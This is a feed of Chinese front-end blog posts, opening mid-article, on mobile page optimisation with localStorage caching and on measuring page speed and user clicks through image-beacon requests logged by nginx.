<p>我们在php中判断,如果cookie中有version,证明种过cookie,写过local,所以,不用传内容了,直接传script就好了,如果没有就要传输并且写入。我们可以看到效果,同样的页面,第一次访问的时候,内容大小是1.6K,如图3.2.3<br><img src="/img/bVyQvz" alt="clipboard.png" title="clipboard.png"><br>图3.2.3<br>再次刷新的时候,内容量已经减小到了474b,如图3.2.4。</p>
<p><img src="/img/bVyQvL" alt="clipboard.png" title="clipboard.png"><br>图3.2.4</p>
<p>如果用户的cookie和local不一致怎么办,如果用户不支持local怎么办?这些疑问其他读者自行思考一下(其实很简单)。</p>
<h3>3.3 外链!外链!</h3>
<p>毕竟业务庞大,光首屏的那些css/js/html已经无法满足我们了。我们需要更多的脚本,更多的css。你可能会很轻松的想到,外链引入呗。但是,经过调研,我们发现移动端的文件缓存率非常的低(大约30%左右)。也就是说移动端的缓存环境是非常残酷的。所以,我们又开始了极限优化。我们将所有的js/css等静态文件,通过一个接口全部返回。如图3.3.1</p>
<p><img src="/img/bVyQww" alt="clipboard.png" title="clipboard.png"><br>图3.3.1<br>这样可以达到合并外链请求的目的,我们又将这些静态文件,也一一缓存到localstorage中,如图3.3.2:</p>
<p><img src="/img/bVyQwL" alt="clipboard.png" title="clipboard.png"><br>图3.3.2<br>每个文件以自己文件内容生成的版本号为戳,标识自己的唯一性。每次服务端返回页面时,会把当前在服务器上的所有静态文件版本号,返给前端,如图3.3.3</p>
<p><img src="/img/bVyQxn" alt="clipboard.png" title="clipboard.png"><br>图3.3.3<br>前端首屏加载完成后,会用这些版本号与local中进行一一对比,发现不一致的js/css,会一起发送一个合并请求。如图3.3.1所示。这样可以保证每个文件的缓存与版本迭代。同时,也避免了过多的外链。</p>
<h3>3.4 DOM也缓存</h3>
<p>我们的模板和数据,也会被缓存至localstorage中,,有同学可能会问,那什么东西不缓存?答案就是,变化的东西,如果有部分html与数据在刷新的时候会经常性的变动的话,这种缓存方式就失去了它的意义,<strong>我们的宗旨是,不变的数据,缓存下来是可以带来信息量的不重复传输的</strong>。如图3.4.1</p>
<p><img src="/img/bVyQyd" alt="clipboard.png" title="clipboard.png"><br>图3.4.1</p>
<h3>3.5 使用iconfont</h3>
<p>由于我们的很多业务是不需要多彩色图的,所以这个时候,iconfont就派上了用场,在满足UE高清的需求下,可以节省大量的资源。如图3.5.1,这些icon就可以使用iconfont。</p>
<p><img src="/img/bVyQHz" alt="clipboard.png" title="clipboard.png"></p>
<p>图3.5.1</p>
<h3>3.6 卡片的异步加载与缓存</h3>
<p>随着我们的业务越来越多,我们的卡片也越来越多了,但是!!!依旧不能影响我们首页的速度。我们又开始了极限优化。首先,我们首屏也就需要2张卡片,按照市售手机的尺寸来看。我们两张卡片足够填充满首屏了。特殊情况,我们会有特殊处理(针对大屏幕手机),在用户下拉的时候,再去加载更多的卡片。这样可以节省用户流量,还能够提升首页速度。接下来,我们如法炮制,也将卡片内容(html/css/js)存储到了local中。异步拉取卡片的时候,如果卡片内容没有变。服务端就不要返回了。</p>
<h3>3.7 不在首屏的就要异步化!</h3>
<p>我们有很多用户功能,用户不一定每次都会用,如果上来就开始加载,必然会浪费速度与流量,于是,我们将一些“第二步操作”,只有在触发时才会进行加载。这样,保证了按需加载。<br>如,我们的管理页面功能,是个点击才能进入的浮层,对于这种功能设计,就可以采用按需加载,而不是伴随首页一起加载,如图3.7.1</p>
<p><img src="/img/bVyQAJ" alt="clipboard.png" title="clipboard.png"><br>图3.7.1</p>
<h3>3.8 少量静态文件的域名</h3>
<p>我们的logo与iconfont均是放在m.baidu.com域下的,这样节省了DNS的解析。虽然可能带来的问题是,发送图片请求的时候,会携带cookie。但是我们的cookie也是极少的。这点上性能还是有所提升的。如图3.8.1我们的logo就是在m.baidu.com域名下:</p>
<p><img src="/img/bVyROQ" alt="clipboard.png" title="clipboard.png"><br>图3.8.1</p>
<h3>3.9 极小的图片base64化</h3>
<p>对于小于1k的图片,我们将其变为base64编码,并融入到css中,一起换存到localstorage中去,这样即节省了网络请求,同时使图片也可以缓存到local中去了。<br><img src="/img/bVyRwE" alt="092041_sAB7_1177792.png" title="092041_sAB7_1177792.png"><br>图3.7.1</p>
<blockquote><p>不要走开,请关注我。下一章,我们将继续聊聊web分辨率那些事儿。</p></blockquote>
<p><a href="https://segmentfault.com/a/1190000005884985">https://segmentfault.com/a/1190000005884985</a><br>原创文章,版权所有,转载请注明出处</p>
[聊一聊系列]聊一聊前端速度统计(性能统计)那些事儿
https://segmentfault.com/a/1190000005869953
2016-07-04T14:57:58+08:00
2016-07-04T14:57:58+08:00
侯医生
https://segmentfault.com/u/doctorhou
22
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):</p>
<p><a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog/frontenddriver</a></p>
<p>上一篇文章我们讨论了,如何进行前端日志打点统计:</p>
<p><a href="https://segmentfault.com/a/1190000005861012">https://segmentfault.com/a/1190000005861012</a></p>
<p>这一篇我们来看看如何进行速度统计</p>
<p>网站的速度影响了用户访问网站最初的体验。试想,如果一个用户,在等待了若干秒后,还是停留在白屏的状态,那么他的选择将是离开这个网站。性能统计有助于帮我们检测网站的用户体验。</p>
<p>这里引用百度百科中的一句话 ---- 通常一个网站,如果首屏时间在2秒以内是比较优秀的,5秒以内是可以接受的,5秒以上就不可容忍了。用户会选择刷新页面或立刻离开。</p>
<p>这里,有些数据需要与大家分享一下(来自FEX的统计):</p>
<table>
<thead><tr>
<th>产品</th>
<th align="left">性能</th>
<th align="left">收益</th>
</tr></thead>
<tbody>
<tr>
<td>Google</td>
<td align="left">延迟 400ms</td>
<td align="left">搜索量下降 0.59%</td>
</tr>
<tr>
<td>Bing</td>
<td align="left">延迟 2s</td>
<td align="left">收入下降 4.3%</td>
</tr>
<tr>
<td>Yahoo</td>
<td align="left">延迟 400ms</td>
<td align="left">流量下降 5-9%</td>
</tr>
<tr>
<td>Mozilla</td>
<td align="left">页面打开减少 2.2s</td>
<td align="left">下载量提升 15.4%</td>
</tr>
<tr>
<td>Netflix</td>
<td align="left">开启 Gzip性能提升 13.25%</td>
<td align="left">带宽减少50%</td>
</tr>
</tbody>
</table>
<p>可以看到,速度,对于一个网站来说,重要性可见一斑。</p>
<h2>1、网站都有哪些指标?</h2>
<h3>1.1 首屏时间</h3>
<hr>
<p>这个指标对于大多数网站来说,非常重要。那么何为首屏时间呢?引用百度百科里的一句话,就是:</p>
<p>网站用户体验的一个重要指标。 指一个网站被浏览器如IE窗口上部800*600的区域被充满所需时间。</p>
<p>其实就是你的网页刚进入时,渲染完整个浏览器屏幕的时间。</p>
<p>关于是否包含首屏所有的图片下载完成。这个网上有些争议,有的同学说不包含图片,只要DOM+样式 都渲染完了,就算完成了。</p>
<p>笔者认为,既然是首屏,那么首屏上所有的东西都加载完成,让用户感受不到还有没完成的部分,就算完成了。</p>
<p>所以,综合一下,咱们的首屏时间,包括首屏的DOM元素的渲染,展现在用户第一屏幕的所有图片都完成。</p>
<p>其实Chrome提供开发着检查网站整个渲染过程的小公举,哦不,是小工具(如图1.1.1所示)在F12开发者工具的Network面板里面:</p>
<p><img src="/img/bVyNcN" alt="图片描述" title="图片描述"><br>图1.1.1</p>
<p>这个是屏幕捕获的工具,可以看到整个网页的渲染过程。我们接着来深究一下上述哪个时间点是首屏时间点。</p>
<p>我们来一起看看百度首页的首屏情况,由于百度首页加载比较快,所以这里咱们模拟一下3G网的延迟(如图1.1.2):<br><img src="/img/bVyM7j" alt="图片描述" title="图片描述"><br>图1.1.2</p>
<p>我们看到,虽然在240ms的时候,网页算是被渲染出来了,但是还是有很多空白的地方。</p>
<p>279MS的时候,虽然框架都被渲染完成了,DOM与样式也都渲染完成了,但是我们看到图片还不完整,所以,当然也不算首屏完成了。</p>
<p>有的同学会说,318ms的时候,总算完成了吧,nonono,我们向后观察,就会发现还有一些元素会再被渲染出来。也就是说知道稳定之前,我们都不能算首屏完成了。</p>
<p>知道487 ms的时候,页面才算加载完成了。并且之后不会再发生页面的抖动了。</p>
<p>看完这些,相信聪明的你心里已经有数了,什么是首屏时间。</p>
<h3>1.2 白屏时间</h3>
<p> 这个其实不多说,读者也明白,就是页面处于空白的时间。页面空白,用户就会焦躁,并且变得不耐心。影响白屏时间的多数是:DNS解析耗时+服务端耗时+网络传输耗时。</p>
<h3>1.3 用户可操作时间</h3>
<p> 顾名思义,这项指标值得是,我们的网页用户可以使用的时间。一般来讲 domready时间,便是我们的用户可操作时间了。</p>
<h3>1.4 总下载时间</h3>
<p> 通常指,页面总体的下载时间,所有的页面资源都下载完成。</p>
<h3>1.5 自定义指标</h3>
<p> 由于业务不同,站长们所关心的时间必然也不同了。比如你可能是一个电商网站的站长,你关心你的第一屏商品到底展示的有多快( 通常这会带来更多的收入),所以,你需要监控你的商品展现的时间。</p>
<h2>2 如何统计自己网站的这些指标</h2>
<p>如果并不想要花费精力在这些统计上,只是要小小的关注一下的话,当然可以自己打开控制台,在页面的各个阶段,将时间打印出来,亦或者是使用html5新增的接口:performance来评估一下自己的网站到底差在哪里(如图2.0.1)。<br><img src="/img/bVyM7E" alt="145325_AOW5_1177792.png" title="145325_AOW5_1177792.png"><br>图2.0.1</p>
<p>但是,你的测试并不能代表所有的用户的情况。而且,你需要一个监控程序,去时刻提醒着你,现在你的网站的速度处于什么状况。</p>
<p> 所以,对于有追求一些的站长而言,笔者在这里更建议采用用户日志,即,在自己网站的代码中,增加统计,并把统计结果发送到服务器。在服务器采集这些日志,并产生一个监控的网站。其实大可不必使用一些付费的服务,我们自己就可以轻轻松松的做一个简答的速度监控服务。</p>
<p> 在本文的第三节,我们将会一起做一个小的速度监控服务的例子。很多站长甚至可以拿过来直接使用。接下来,我们还是针对之前我们提到过的几个指标,注意讲解统计方法:</p>
<h3>2.1 如何统计首屏时间</h3>
<p> 其实,对于网页高度小于屏幕的网站来说,统计首屏时间非常的简单,只要在页面底部加上脚本打印当前时间即可,或者对于网页高度大于一屏的网页来说,只要在估算接近于一屏幕的元素的位置后,打印一下当前时间即可。</p>
<p> 比如,现在你有一个简单的网页(如图2.1.1所示):</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0">
</head>
<body>
<div>这是第一屏,这是第一屏</div>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<div>第一屏结尾,第一屏结尾</div>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
</body>
</html>
</code></pre>
<p><img src="/img/bVyM9P" alt="152854_WBnH_1177792.png" title="152854_WBnH_1177792.png"><br>图2.1.1</p>
<p>我们需要统计首屏时间的话,则需要定义一个基准,就是--什么时候用户点开的当前网页,HTML5的performance接口提供了这个时间:performance.timing.navigationStart,这个就是用户访问我们网页最开始的跳转时间了。</p>
<pre><code><head>
<script type="text/javascript">
window.logInfo = {};
window.logInfo.openTime = performance.timing.navigationStart;
</script>
</head>
</code></pre>
<p>我们在页面开头处,将基准记下。</p>
<p>接下来,在大约的首屏处加上我们的统计:</p>
<pre><code><div>第一屏结尾,第一屏结尾</div>
<script type="text/javascript">
window.logInfo.firstScreen = +new Date() - window.logInfo.openTime;
console.log('首屏时间:', window.logInfo.firstScreen + 'ms');
</script>
</code></pre>
<p>我们再来看看我们的页面(如图2.1.2所示):<br><img src="/img/bVyM9R" alt="154049_1pEB_1177792.png" title="154049_1pEB_1177792.png"><br>图2.1.2</p>
<p>便有了首屏时间。</p>
<p>霸特,霸特。同学们不要激动的太早。我们这个首屏时间,并不没有算上图片。所以,我们得把首屏中所有图片的加载时间也算上。</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0">
<script type="text/javascript">
window.logInfo = {};
window.logInfo.openTime = performance.timing.navigationStart;
</script>
</head>
<body>
<div>这是第一屏,这是第一屏</div>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<div>第一屏结尾,第一屏结尾</div>
<script type="text/javascript">
(function logFirstScreen() {
var images = document.getElementsByTagName('img');
var iLen = images.length;
var curMax = 0;
var inScreenLen = 0;
// 图片的加载回调
function imageBack() {
this.removeEventListener
&& this.removeEventListener('load', imageBack, !1);
if (++curMax === inScreenLen) {
// 如果所有在首屏的图片均已加载完成了的话,发送日志
log();
}
}
// 对于所有的位于指定区域的图片,绑定回调事件
for (var s = 0; s < iLen; s++) {
var img = images[s];
var offset = {
top: 0
};
var curImg = img;
while (curImg.offsetParent) {
offset.top += curImg.offsetTop;
curImg = curImg.offsetParent;
}
// 判断图片在不在首屏
if (document.documentElement.clientHeight < offset.top) {
continue;
}
// 图片还没有加载完成的话
if (!img.complete) {
inScreenLen++;
img.addEventListener('load', imageBack, !1);
}
}
// 如果首屏没有图片的话,直接发送日志
if (inScreenLen === 0) {
log();
}
// 发送日志进行统计
function log () {
window.logInfo.firstScreen = +new Date() - window.logInfo.openTime;
console.log('首屏时间:', window.logInfo.firstScreen + 'ms');
}
})();
</script>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
</body>
</html>
</code></pre>
<p>以上封装的首屏时间函数,无依赖比较小巧,同学们可以直接使用于自己的项目中。这样,我们就轻轻松松的统计到了首屏时间。</p>
<h3>2.2 如何统计白屏时间</h3>
<p> 可以在页面的head底部添加的JS代码来统计白屏时间,虽然这样做可能并不十分精准,但是也可以基本代表了首屏时间,如图2.2.1所示。</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0">
<script type="text/javascript">
window.logInfo = {};
window.logInfo.openTime = performance.timing.navigationStart;
window.logInfo.whiteScreenTime = +new Date() - window.logInfo.openTime;
console.log('白屏时间:', window.logInfo.whiteScreenTime + 'ms');
</script>
</head>
</code></pre>
<p><img src="/img/bVyM90" alt="155950_iY5p_1177792.png" title="155950_iY5p_1177792.png"><br>图2.2.1</p>
<h3>2.3 如何统计用户可操作时间</h3>
<p> 前面提到过document.ready其实就可以算作我们的用户可操作时间啦。我们不妨直接试试,如图2.3.1所示:</p>
<pre><code>document
.addEventListener(
'DOMContentLoaded',
function (event) {
window.logInfo.readyTime = +new Date() - window.logInfo.openTime;
console.log('用户可操作时间:', window.logInfo.readyTime);
}
);
</code></pre>
<p><img src="/img/bVyNab" alt="161009_jIOl_1177792.png" title="161009_jIOl_1177792.png"><br>图2.3.1</p>
<h3>2.4 如何打印总下载时间</h3>
<p> 页面总体下载时间,使用<code>window.onload</code>即可,这可以帮助我们看看我们所有的资源是否拖慢网页,如图2.4.1所示:</p>
<pre><code>window.onload = function () {
window.logInfo.allloadTime = +new Date() - window.logInfo.openTime;
console.log('总下载时间:', window.logInfo.allloadTime + 'ms');
};
</code></pre>
<p><img src="/img/bVyNaw" alt="图片描述" title="图片描述"><br>图2.4.1</p>
<h3>2.5 统一打印时间,更方便</h3>
<p> 我们将上述的统计合并,一个完整的统计就出来了,如图2.5.1所示:</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0">
<script type="text/javascript">
window.logInfo = {};
window.logInfo.openTime = performance.timing.navigationStart;
window.logInfo.whiteScreenTime = +new Date() - window.logInfo.openTime;
</script>
</head>
<body>
<div>这是第一屏,这是第一屏</div>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<div>第一屏结尾,第一屏结尾</div>
<script type="text/javascript">
(function logFirstScreen() {
var images = document.getElementsByTagName('img');
var iLen = images.length;
var curMax = 0;
var inScreenLen = 0;
// 图片的加载回调
function imageBack() {
this.removeEventListener
&& this.removeEventListener('load', imageBack, !1);
if (++curMax === inScreenLen) {
// 如果所有在首屏的图片均已加载完成了的话,发送日志
log();
}
}
// 对于所有的位于指定区域的图片,绑定回调事件
for (var s = 0; s < iLen; s++) {
var img = images[s];
var offset = {
top: 0
};
var curImg = img;
while (curImg.offsetParent) {
offset.top += curImg.offsetTop;
curImg = curImg.offsetParent;
}
// 判断图片在不在首屏
if (document.documentElement.clientHeight < offset.top) {
continue;
}
// 图片还没有加载完成的话
if (!img.complete) {
inScreenLen++;
img.addEventListener('load', imageBack, !1);
}
}
// 如果首屏没有图片的话,直接发送日志
if (inScreenLen === 0) {
log();
}
// 发送日志进行统计
function log () {
window.logInfo.firstScreen = +new Date() - window.logInfo.openTime;
}
})();
document
.addEventListener(
'DOMContentLoaded',
function (event) {
window.logInfo.readyTime = +new Date() - window.logInfo.openTime;
}
);
window.onload = function () {
window.logInfo.allloadTime = +new Date() - window.logInfo.openTime;
var timname = {
whiteScreenTime: '白屏时间',
firstScreen: '首屏时间',
readyTime: '用户可操作时间',
allloadTime: '总下载时间'
};
for (var i in timname) {
console.log(timname[i] + ':' + window.logInfo[i] + 'ms');
}
};
</script>
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
<img src="http://static.oschina.net/uploads/space/2016/0623/152644_6UUC_1177792.png">
</body>
</html>
</code></pre>
<p><img src="/img/bVyNaA" alt="161744_kOfK_1177792.png" title="161744_kOfK_1177792.png"><br>图2.5.1</p>
<p>按照上一节( <a href="https://segmentfault.com/a/1190000005861012">https://segmentfault.com/a/1190000005861012</a> )所说,我们将这个日志发送到服务端去。</p>
<pre><code>var logStr = '';
for (var i in timname) {
logStr += '&' + i + '=' + window.logInfo[i];
}
(new Image()).src = 'http://localhost:8091/?action=speedlog' + logStr;
</code></pre>
<p>开启我们的nginx监听,并在服务端接收这条日志如图2.5.2,图2.5.3所示:</p>
<p><img src="/img/bVyNaC" alt="162439_crrp_1177792.png" title="162439_crrp_1177792.png"><br>图2.5.2</p>
<p><img src="/img/bVyNb2" alt="162553_ZBUv_1177792.png" title="162553_ZBUv_1177792.png"><br>图2.5.3</p>
<p>我们看看日志里面是不是已经多了一条了呢?</p>
<p>要是再加以定时任务,日志采集等功能的辅助,我们就能实时掌握自己网站的性能啦。</p>
<h4>不要走开,请关注我。下一章,我们将继续聊聊百度移动版首页那些事。</h4>
<p><a href="https://segmentfault.com/a/1190000005882953">https://segmentfault.com/a/1190000005882953</a></p>
<p>后续,我们也会一起来聊聊,如何优化我们的这些速度,以提高我们的网站性能。</p>
<p>原创文章,版权所有,转载请注明出处</p>
[聊一聊系列]聊一聊前端功能统计那些事儿
https://segmentfault.com/a/1190000005861012
2016-07-03T10:25:31+08:00
2016-07-03T10:25:31+08:00
侯医生
https://segmentfault.com/u/doctorhou
12
<p>欢迎大家收看聊一聊系列,这一套系列文章,可以帮助前端工程师们了解前端的方方面面(不仅仅是代码):<a href="https://segmentfault.com/blog/frontenddriver">https://segmentfault.com/blog...</a></p>
<h2><strong>1. 什么是功能统计</strong></h2>
<p>作为一名开发,我们的产品发布出去之后,无论是产品还是运营,其实都是想及时了解产品对用户产生的影响的。用户到底喜欢什么不喜欢什么。但是如果拉住用户去一个个问的话,也无法得到最真实的大众的想法。于是,运用大数据进行分析,就变成了产品们的利器。</p>
<p>那么这些反映了用户真实行为的数据,就得靠前端工程师们来打印了。</p>
<p>比如,你想看一个功能有多少用户进行了点击,来证明用户是否喜欢这个功能,亦或是你想看看用户究竟会在你的页面停留多长时间,从而判断用户的黏性。那么,在用户点击那个功能的时候,前端发送一条日志到服务端,这样积累下去,我们就能获得,每天有多少用户在点击某一个功能了。在功能发生迭代后,我们也能根据统计,来判断用户是否喜欢新的变化。</p>
<h2><strong>2. 如何统计</strong></h2>
<p>一般来讲,只要在想统计的行为发生时,发送一条请求到达服务端即可。这样我们的服务端就有了相应的记录。我们就能开心的利用记录数量来判断点击数量了。</p>
<p>一般来讲我们不必为了发送请求,就在各处点击的地方加个ajax,其实有种发送请求的方式比ajax更加的简单。而且还避免了跨域问题。</p>
<p>其实直接给一个图片、script标签赋值地址,就完成了一次GET请求。</p>
<p>例(如图2.1所示):</p>
<pre><code>(new Image()).src = 'https://gm.mmstat.com/tmallfp.4202.7';
</code></pre>
<p><img src="/img/bVyKRb" alt="图片描述" title="图片描述"><br>图2.1</p>
<p>我们看到,轻轻松松就发送了一条请求出去,亦或者是使用script标签,或者fetch之类的方式也可以达到目的。</p>
<p>本人观察了一下腾讯网和淘宝网,的日志。发现淘宝网使用的是请求一张空图片到服务端,以此来实现的日志打印。</p>
<p>而腾讯网使用的,则是发送一个js请求的方式,来打印日志(如图2.2)</p>
<p><img src="/img/bVyKRc" alt="图片描述" title="图片描述"><br>图2.2</p>
<p>其实无论使用什么方式,都殊途同归,最终我们得到的是服务端的一条access日志,利用这个日志,就可以记录了。</p>
<p>我们在开发的时候,在用户发生各个行为时,发送一条记录了此行为的数据。这样就能记录自己产品的方方面面了。</p>
<h2><strong>3. 服务端如何接收并使用数据</strong></h2>
<p>一般来讲服务器的server都会有access日志。这里拿nginx来举个例子。我们需要搭建一个nginx服务器,然后馋看nginx的conf(安装路径/conf/nginx.conf)如图3.1</p>
<p><img src="/img/bVyKRj" alt="142009_Qii3_1177792.png" title="142009_Qii3_1177792.png"><br>图3.1</p>
<p>nginx可以配置一个access日志的文件,每当有请求打到当前的nginx上,都会产出一条access日志。</p>
<p>日志的路径也是可配置的,甚至可以配置文件的切割,这里就不再赘述。</p>
<p><img src="/img/bVyKRk" alt="142650_mpnX_1177792.png" title="142650_mpnX_1177792.png"><br>图3.2</p>
<p>接着,我们访问一下这个服务,于是就产生了一条access日志(如图3.2),我们只要在功能点击的时候,往这台机器上发送一个简单的请求即可产生日志啦。接下来把日志整理整理,就可以产出产品经理们想要的反馈了。</p>
<h2><strong>4. 多种多样个性化的日志</strong></h2>
<p>如果我们需要各种各样的日志,那么可以把参数给多样化,用参数来区分各个不同地方的点击或者是各种交互行为。我们的access日志中,会留存有完整的URL,只要我们将其解析,就能拿到各处的点击行为了。</p>
<h2><strong>5. 跟我学---进行一次简单的打印日志</strong></h2>
<p>为了各位考虑,本小节的实验在windows下进行。首先,我们将下载一个nginx(本文最后的示例代码中也有),然后,更改其conf文件(如图5.1)。</p>
<p><img src="/img/bVyKRr" alt="173545_nMU7_1177792.png" title="173545_nMU7_1177792.png"><br>图5.1</p>
<p>并将端口改为8091。并且去掉注释,打开access日志。</p>
<p><img src="/img/bVyKRt" alt="173354_2v8l_1177792.png" title="173354_2v8l_1177792.png"><br>图5.2</p>
<p>双击启动即可。然后,我们访问一下<a href="https://link.segmentfault.com/?enc=B2cSDQhL6D6CRp5ZGdoYQg%3D%3D.Ulj78LDrSZMtBkDPUc0j7z8Zocbr1e5K4vUNk74WOwg%3D" rel="nofollow">http://localhost:8091/</a></p>
<p>发现nginx已然运行成功(如图5.3)</p>
<p><img src="/img/bVyKRx" alt="173428_pCrk_1177792.png" title="173428_pCrk_1177792.png"><br>图5.3</p>
<p>接下来,我们看一下logs/access.log中的记录(如图5.4)</p>
<p><img src="/img/bVyKRD" alt="173801_c4Du_1177792.png" title="173801_c4Du_1177792.png"><br>图5.4</p>
<p>多了一条,证明有记录了。</p>
<p>接着,我们创建一个html(在哪儿创建都行)--- testlog.html</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<button id="click2log">点我</button>
<script type="text/javascript">
document
.getElementById('click2log')
.addEventListener('click', function () {
(new Image()).src = 'http://localhost:8091/?action=log&clk=button';
});
</script>
</body>
</html>
</code></pre>
<p>运行页面,点击按钮。我们发现,发送出一条日志(如图5.5)</p>
<p><img src="/img/bVyKR2" alt="174317_geMt_1177792.png" title="174317_geMt_1177792.png"><br>图5.5</p>
<p>我们再次打开access.log,发现多了一条日志(如图5.6)</p>
<p><img src="/img/bVyKSb" alt="174403_AzSS_1177792.png" title="174403_AzSS_1177792.png"><br>图5.6</p>
<p>于是我们的目的达成了。以后可以用action=log并且,clk=button的记录,来看有多少用户点击了按钮了。</p>
<p>示例代码在此:</p>
<p><a href="https://link.segmentfault.com/?enc=EpYzbqHo%2BIu0KkHInXcLtQ%3D%3D.pILQB9x5HK7PYDe1RwPQxVcEayurx2H7Q360rsvBBriK0mPWEMdxz8rPbLc%2BRaCfJgbt0eJHHeUpW0XyHScuL9Xv7fmJk3hqTQGw2pBPc6A%3D" rel="nofollow">https://github.com/houyu01/lo...</a></p>
<h2><strong>6. 需要注意的点</strong></h2>
<p>在日常打日志中,我们会遇到这样那样的问题,这里谨把我再工作中遇到的问题与大家分享一下。</p>
<h5>1. 当点击发生本页跳转的时候,同时发送日志有一定几率无法发出。</h5>
<p>当a标签发生点击的时候,我们往往会发送一条外链的点击日志,但是,如果这个a标签是本页跳转(而不是新开页面)的话,那么在日志发送之前,页面有可能就已经跳转了,这时,所有的请求都是发不出去的。目前应对这种状况,没有什么特别好的办法,</p>
<ol>
<li><p>可以尝试使用先发日志,在日志的回调用进行跳转,这样就有可能造成跳转慢。</p></li>
<li><p>使用新式API navigator.sendBeacon(),可以在本页面跳转之后,坚强的发出一条请求。但是兼容性不太好。</p></li>
</ol>
<h5>2. 发送的参数不要太多,太长</h5>
<p>因为我们的请求毕竟算是GET请求,肯定有URL长度的限制。所以,发了大量的信息的话,怕会被截断。</p>
<h5>3. 有一定丢失率</h5>
<p>因为网络等等的原因,发送的日志,丢失率是肯定会有的,各位如果习惯的话,也就好了。</p>
<p>不要走开,请关注我。下一章,我们将继续聊聊速度统计。</p>
<p><a href="https://segmentfault.com/a/1190000005869953">https://segmentfault.com/a/11...</a></p>
<p>原创文章,版权所有,转载请注明出处</p>